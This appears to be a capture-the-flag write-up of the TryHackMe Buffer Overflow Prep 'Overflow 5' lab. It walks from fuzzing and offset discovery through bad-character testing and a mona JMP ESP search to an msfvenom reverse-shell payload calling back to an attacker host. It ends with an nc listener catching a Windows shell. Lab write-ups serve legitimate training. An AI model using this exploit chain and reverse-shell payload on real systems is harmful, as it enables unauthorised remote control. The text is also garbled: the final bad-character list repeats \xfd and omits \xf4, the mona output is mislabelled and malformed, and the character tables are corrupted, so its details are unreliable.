

# Overflow 5

1. Determine min buffer size

```
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing crashed at 400 bytes
[Finished in 11.8s]
```

2. Determine EIP with msf-pattern

```
msf-pattern_create -l 1800
```

Registers (MMX)		
EAX	01ACF8E8	ASCI
ECX	007F5480	
EDX	00000000	
EBX	41326B41	
ESP	01ACFA30	ASCI
EBP	6B41336B	
ESI	00000000	
EDI	00000000	
EIP	356B4134	

3. Determine offset

```
msf-pattern_offset -l 1800 -q 356B4134
```

```
(root@kali)~/tryhackme/bufferOverflowPrep/overflow5
# msf-pattern_offset -l 1800 -q 356B4134
[*] Exact match at offset 314
```

- EIP Offset: 314

4. Test EIP offset with BBBB

Registers (MMX)		
EAX	019DF8E8	AS
ECX	00325480	
EDX	00000000	
EBX	41414141	
ESP	019DFA30	AS
EBP	41414141	
ESI	00000000	
EDI	00000000	
EIP	42424242	

5. Determine bad chars

43	43	43	01	02	03	04	05	CCC	©	☺	♥	♦	♣
06	07	08	09	0A	0B	0C	0D	♠	•	◼	.	↓	♂
0E	0F	10	11	12	13	14	15	♫	⚙	▶	◀	↕	!!
0A	0D	18	19	1A	1B	1C	1D	.	.	↑	↓	→	+ <sub>2</sub>
1E	1F	20	21	22	23	24	25	▲	▼	!	"	#	\$
26	27	28	29	2A	2B	2C	2D	&	'	(	)	*	+
2E	0A	0D	31	32	33	34	35	.	.	.	.	1	2
36	37	38	39	3A	3B	3C	3D	6	7	8	9	:	<
3E	3F	40	41	42	43	44	45	>	?	@	A	B	C
46	47	48	49	4A	4B	4C	4D	F	G	H	I	J	K
4E	4F	50	51	52	53	54	55	N	O	P	Q	R	S
56	57	58	59	5A	5B	5C	5D	V	W	X	Y	Z	[
5E	5F	60	61	62	63	64	65	^	_	'	a	b	c
66	67	68	69	6A	6B	6C	6D	f	g	h	i	j	k
6E	6F	70	71	72	73	74	75	n	o	p	q	r	s
76	77	78	79	7A	7B	7C	7D	v	w	x	y	z	{
7E	7F	80	81	82	83	84	85	~	Δ	Ç	ü	é	â
86	87	88	89	8A	8B	8C	8D	â	ç	ê	ë	è	ï
8E	8F	90	91	92	93	94	95	Ä	Å	É	æ	Æ	ô
96	97	98	99	9A	9B	9C	9D	û	ü	ÿ	ö	ü	£
9E	9F	A0	A1	A2	A3	A4	A5	Ł	ł	á	í	ó	ú
A6	A7	A8	A9	AA	AB	AC	AD	≡	Ω	¿	¬	½	¼
AE	AF	B0	B1	B2	B3	B4	B5	<<	>>	▒	▒	▒	▒
B6	B7	B8	B9	BA	BB	BC	BD	⌋	⌋	⌋	⌋	⌋	⌋
BE	BF	C0	C1	C2	C3	C4	C5	⌋	⌋	⌋	⌋	⌋	⌋
C6	C7	C8	C9	CA	CB	CC	CD	⌋	⌋	⌋	⌋	⌋	⌋

- Failed at \x16

6. Remove \x16

43	43	43	43	01	02	03	04	CCCC©☺♥
05	06	07	08	09	0A	0B	0C	♣♠♦■. . ☞
0D	0E	0F	10	11	12	13	14	. ♪♫▶◀↕!!
15	17	18	19	1A	1B	1C	1D	§↑↑↓→←└
1E	1F	20	21	22	23	24	25	▲▼ ! " # \$ %
26	27	28	29	2A	2B	2C	2D	& ' ( ) * + ,
2E	0A	0D	31	32	33	34	35	. . . 12345
36	37	38	39	3A	3B	3C	3D	6789: ; <
3E	3F	40	41	42	43	44	45	> ? @ A B C D
46	47	48	49	4A	4B	4C	4D	F G H I J K L
4E	4F	50	51	52	53	54	55	N O P Q R S T
56	57	58	59	5A	5B	5C	5D	V W X Y Z [ \
5E	5F	60	61	62	63	64	65	^ _ ' a b c d
66	67	68	69	6A	6B	6C	6D	f g h i j k l
6E	6F	70	71	72	73	74	75	n o p q r s t
76	77	78	79	7A	7B	7C	7D	v w x y z {
7E	7F	80	81	82	83	84	85	~ Δ Ç ü é â ä
86	87	88	89	8A	8B	8C	8D	â ç ê ë ì î
8E	8F	90	91	92	93	94	95	Ä Å É æ Æ ò ö
96	97	98	99	9A	9B	9C	9D	û ü ÿ ö ü † £
9E	9F	A0	A1	A2	A3	A4	A5	℔ ₣ á í ó ú ñ
A6	A7	A8	A9	AA	AB	AC	AD	≡ ∞ ∫ √ ½ ¼
AE	AF	B0	B1	B2	B3	B4	B5	<<>> ▨ ▩ ▪ ▫ ▬
B6	B7	B8	B9	BA	BB	BC	BD	▭ ▮ ▯ ▰ ▱
BE	BF	C0	C1	C2	C3	C4	C5	▲ △ ▴ ▵ ▶
C6	C7	C8	C9	CA	CB	CC	CD	▸ ▹ ► ▻ ▼
CE	CF	D0	D1	D2	D3	D4	D5	▿ ▽ ▾ ▿ ▿
D6	D7	D8	D9	DA	DB	DC	DD	▿ ▿ ▿ ▿ ▿
DE	DF	E0	E1	E2	E3	E4	E5	▿ ▿ ▿ ▿ ▿
E6	E7	E8	E9	EA	EB	EC	ED	μ γ φ θ Ω δ ∞
EE	EF	F0	F1	F2	F3	0A	0D	€ ¢ ≡ ± ≥ ≤ .
F6	F7	F8	F9	FA	FB	FC	0A	÷ ≈ ° • √ °

- Failed at \x2F

7. Remove \x2F

43	43	43	43	43	01	02	03	CCCCC	©	®	♥
04	05	06	07	08	09	0A	0B	♦	♣	♠	•
0C	0D	0E	0F	10	11	12	13	◼	◻	◻	◻
14	15	17	18	19	1A	1B	1C	◻	◻	◻	◻
1D	1E	1F	20	21	22	23	24	◻	◻	◻	◻
25	26	27	28	29	2A	2B	2C	◻	◻	◻	◻
2D	2E	30	31	32	33	34	35	◻	◻	◻	◻
36	37	38	39	3A	3B	3C	3D	◻	◻	◻	◻
3E	3F	40	41	42	43	44	45	◻	◻	◻	◻
46	47	48	49	4A	4B	4C	4D	◻	◻	◻	◻
4E	4F	50	51	52	53	54	55	◻	◻	◻	◻
56	57	58	59	5A	5B	5C	5D	◻	◻	◻	◻
5E	5F	60	61	62	63	64	65	◻	◻	◻	◻
66	67	68	69	6A	6B	6C	6D	◻	◻	◻	◻
6E	6F	70	71	72	73	74	75	◻	◻	◻	◻
76	77	78	79	7A	7B	7C	7D	◻	◻	◻	◻
7E	7F	80	81	82	83	84	85	◻	◻	◻	◻
86	87	88	89	8A	8B	8C	8D	◻	◻	◻	◻
8E	8F	90	91	92	93	94	95	◻	◻	◻	◻
96	97	98	99	9A	9B	9C	9D	◻	◻	◻	◻
9E	9F	A0	A1	A2	A3	A4	A5	◻	◻	◻	◻
A6	A7	A8	A9	AA	AB	AC	AD	◻	◻	◻	◻
AE	AF	B0	B1	B2	B3	B4	B5	◻	◻	◻	◻
B6	B7	B8	B9	BA	BB	BC	BD	◻	◻	◻	◻
BE	BF	C0	C1	C2	C3	C4	C5	◻	◻	◻	◻
C6	C7	C8	C9	CA	CB	CC	CD	◻	◻	◻	◻
CE	CF	D0	D1	D2	D3	D4	D5	◻	◻	◻	◻
D6	D7	D8	D9	DA	DB	DC	DD	◻	◻	◻	◻
DE	DF	E0	E1	E2	E3	E4	E5	◻	◻	◻	◻
E6	E7	E8	E9	EA	EB	EC	ED	◻	◻	◻	◻
EE	EF	F0	F1	F2	F3	0A	0D	◻	◻	◻	◻
F6	F7	F8	F9	FA	FB	FC	0A	◻	◻	◻	◻
0D	FF	0D	0A	00	00	00	00	◻	◻	◻	◻

- Failed at \xF4

8. Remove \xf4

43	43	43	43	43	43	01	02	CCCCCCC☹☹
03	04	05	06	07	08	09	0A	♥♦♣♠•□. .
0B	0C	0D	0E	0F	10	11	12	♂. . ♀♂▶◀↕
13	14	15	17	18	19	1A	1B	!!¶§↑↑↓↓→←
1C	1D	1E	1F	20	21	22	23	└─▶▲▼! " #
24	25	26	27	28	29	2A	2B	\$%&' ( ) * +
2C	2D	2E	30	31	32	33	34	- . 01234
35	36	37	38	39	3A	3B	3C	56789: ; <
3D	3E	3F	40	41	42	43	44	=>?@ABCD
45	46	47	48	49	4A	4B	4C	EFGHIJKL
4D	4E	4F	50	51	52	53	54	MNOPQRST
55	56	57	58	59	5A	5B	5C	UVWXYZ[\
5D	5E	5F	60	61	62	63	64	] ^ _ ' abcd
65	66	67	68	69	6A	6B	6C	efghijkl
6D	6E	6F	70	71	72	73	74	mnpqrst
75	76	77	78	79	7A	7B	7C	uvwxyz{
7D	7E	7F	80	81	82	83	84	} ~ Δ Ç ü é â ä
85	86	87	88	89	8A	8B	8C	à â ç è é ê ì î
8D	8E	8F	90	91	92	93	94	ï Ä Å Æ ø ö
95	96	97	98	99	9A	9B	9C	ò û ü ý ö ü ø £
9D	9E	9F	A0	A1	A2	A3	A4	¥ ¤ ¤ ¤ ¤ ¤ ¤ ¤
A5	A6	A7	A8	A9	AA	AB	AC	Ñ ã ¤ ¤ ¤ ¤ ¤
AD	AE	AF	B0	B1	B2	B3	B4	¡ « » █ █ █ █ █
B5	B6	B7	B8	B9	BA	BB	BC	▯ ▯ ▯ ▯ ▯ ▯ ▯
BD	BE	BF	C0	C1	C2	C3	C4	▯ ▯ ▯ ▯ ▯ ▯ ▯
C5	C6	C7	C8	C9	CA	CB	CC	+ + + + + + +
CD	CE	CF	D0	D1	D2	D3	D4	= + + + + + +
D5	D6	D7	D8	D9	DA	DB	DC	F + + + + + +
DD	DE	DF	E0	E1	E2	E3	E4	▯ ▯ α β Γ Π Σ
E5	E6	E7	E8	E9	EA	EB	EC	σ μ γ ϑ θ Ω δ ∞
ED	EE	EF	F0	F1	F2	F3	F5	ø € ¤ ¤ ¤ ¤ ¤
F6	F7	F8	F9	FA	FB	FC	0A	÷ ≈ ° • √ °
0D	FF	0D	0A	00	00	00	00	. . . . .

- Failed at \xfd

9. Remove \xfd

43	43	43	43	43	43	43	01	CCCCCCC@
02	03	04	05	06	07	08	09	♥♦♣♠.
0A	0B	0C	0D	0E	0F	10	11	.σ.♪✂▶◀
12	13	14	15	17	18	19	1A	↑!!¶§↓↑↓→
1B	1C	1D	1E	1F	20	21	22	+_↕▲▼!"
23	24	25	26	27	28	29	2A	#\$%&'()*
2B	2C	2D	2E	30	31	32	33	+,-.0123
34	35	36	37	38	39	3A	3B	456789:;
3C	3D	3E	3F	40	41	42	43	<=>?@ABC
44	45	46	47	48	49	4A	4B	DEFGHIJK
4C	4D	4E	4F	50	51	52	53	LMNOPQRS
54	55	56	57	58	59	5A	5B	TUVWXYZ[
5C	5D	5E	5F	60	61	62	63	\]^_`'abc
64	65	66	67	68	69	6A	6B	defghijk
6C	6D	6E	6F	70	71	72	73	lmnopqrs
74	75	76	77	78	79	7A	7B	tuvwxyz{
7C	7D	7E	7F	80	81	82	83	}~△Çüéâ
84	85	86	87	88	89	8A	8B	äàâçêëèï
8C	8D	8E	8F	90	91	92	93	îìÄÅÉæÆô
94	95	96	97	98	99	9A	9B	öòûüÿöü†
9C	9D	9E	9F	A0	A1	A2	A3	£¥₧₨ƒáíóú
A4	A5	A6	A7	A8	A9	AA	AB	ñÑǝøζ┐%̵
AC	AD	AE	AF	B0	B1	B2	B3	%¡«»█▩▪
B4	B5	B6	B7	B8	B9	BA	BB	⌈⌋⌌⌍⌎⌏⌐
BC	BD	BE	BF	C0	C1	C2	C3	⌑⌒⌓⌔⌕⌖⌗
C4	C5	C6	C7	C8	C9	CA	CB	⌘⌙⌚⌛⌜⌝⌞
CC	CD	CE	CF	D0	D1	D2	D3	⌟⌠⌡⌢⌣⌤⌥
D4	D5	D6	D7	D8	D9	DA	DB	⌦⌧⌨〈〉⌫⌬
DC	DD	DE	DF	E0	E1	E2	E3	⌭⌮⌯⌰⌱⌲⌳
E4	E5	E6	E7	E8	E9	EA	EB	Σσμϴθ&δ
EC	ED	EE	EF	F0	F1	F2	F3	∞ø€≡÷≥≤
F5	F6	F7	F8	F9	FA	FB	FC	j÷≈°•√²³
FE	FF	0D	0A	00	00	00	00	- . : ; , < >

- Bad chars: \x00\x16\x2f\xfd\xfd

### 10. Determine JMP

- via mona

```
!mona jmp -r esp
```

File Edit Format View Help

Output generated by mono.py v2.0, rev 605 - Immunity Debugger  
Corelani Team - <https://www.corelani.be>

OS : 7, release 6.1.7601  
Process being debugged : oscp (pid 1544)  
Current mono arguments: jmp - esp  
2021-12-01 11:46:27

Module Info :

Base	Top	Size	Rebase	SafeSEH	ASLR	NXCompat	OS Dll	Version, ModuleName & Path
0x76560000	0x7656a000	0x0000a000	True	True	True	True	6.1.7600.16385	[Lpk.dll] (C:\windows\system32\Lpk.dll)
0x76610000	0x76616000	0x00006000	True	True	True	True	6.1.7600.16385	[Nls.dll] (C:\windows\system32\Nls.dll)
0x62510000	0x62510800	0x00000800	False	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x77320000	0x7732c000	0x0000c000	True	True	True	True	6.1.7600.16385	[GDI32.dll] (C:\windows\system32\GDI32.dll)
0x755c0000	0x755c6000	0x00006000	True	True	True	True	6.1.7600.16385	[KERNELBASE.dll] (C:\windows\system32\KERNELBASE.dll)
0x74500000	0x7450c000	0x0000c000	True	True	True	True	6.1.7600.16385	[USER32.dll] (C:\windows\system32\USER32.dll)
0x75730000	0x7573e000	0x0000e000	True	True	True	True	1.0626.7601.17514	[UserIO.dll] (C:\windows\system32\UserIO.dll)
0x75770000	0x75776000	0x00006000	True	True	True	True	6.1.7601.17514	[GDI32.dll] (C:\windows\system32\GDI32.dll)
0x76910000	0x76916000	0x00006000	True	True	True	True	6.1.7600.16385	[kernel32.dll] (C:\windows\system32\kernel32.dll)
0x75670000	0x7567c000	0x0000c000	True	True	True	True	7.0.7600.16385	[USER32.dll] (C:\windows\system32\USER32.dll)
0x771c0000	0x771c7c00	0x00017c00	True	True	True	True	6.1.7600.16385	[ntdll.dll] (C:\windows\system32\ntdll.dll)
0x76790000	0x7679c000	0x0000c000	True	True	True	True	6.1.7600.16385	[USER32.dll] (C:\windows\system32\USER32.dll)
0x75840000	0x75845000	0x00005000	True	True	True	True	6.1.7600.16385	[ws2_32.dll] (C:\windows\system32\ws2_32.dll)
0x00400000	0x00404000	0x00004000	False	False	False	False	1.0.0	[oscp.exe] (C:\Users\admin\Desktop\vulnerable-apps\oscp\oscp.exe)
0x76840000	0x76849000	0x00009000	True	True	True	True	6.1.7601.17514	[user32.dll] (C:\windows\system32\user32.dll)
0x76840000	0x76840000	0x00000000	True	True	True	True	6.1.7601.17514	[DWM32.dll] (C:\windows\system32\DWM32.dll)
0x625011af	0x625011af	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x625011b7	0x625011b7	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x625011c7	0x625011c7	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x625011d7	0x625011d7	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x625011e7	0x625011e7	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x625011f7	0x625011f7	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x62501207	0x62501207	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x62501213	0x62501213	0x00000000	True	False	False	False	1.0.0	[essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)

- Address: **0x625011af**
- To little endian: **\xaf\x11\x50\x62**

## 11. Test if EIP points to selected JMP address

- Add breakpoint **bp 0x625011af**

Registers (MMX)		
EAX	01A0F8E8	ASCII "OVERFLOWS A
ECX	00355480	
EDX	00000000	
EBX	41414141	
ESP	01A0FA30	ASCII "CCCCCCCCCCCC
EBP	41414141	
ESI	00000000	
EDI	00000000	
EIP	625011AF	essfunc.625011AF

## 12. Generate shellcode

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.49.241
LPORT=4444 EXITFUNC=thread -b '\x00\x16\x2f\xf4\xfd' -f python
```

## 13. Buffer to send

- Buffer As
- Return Add
- NOP
- Shellcode
- Buffer Ds

## 14. Obtain shell



```
(rootkali)-[~/tryhackme/bufferOverflowPrep/overflow5]  
# nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [10.11.49.241] from (UNKNOWN) [10.10.146.149] 49200  
Microsoft Windows [Version 6.1.7601]  
Copyright (c) 2009 Microsoft Corporation. All rights reserved.  
  
C:\Users\admin\Desktop\vulnerable-apps\oscp>
```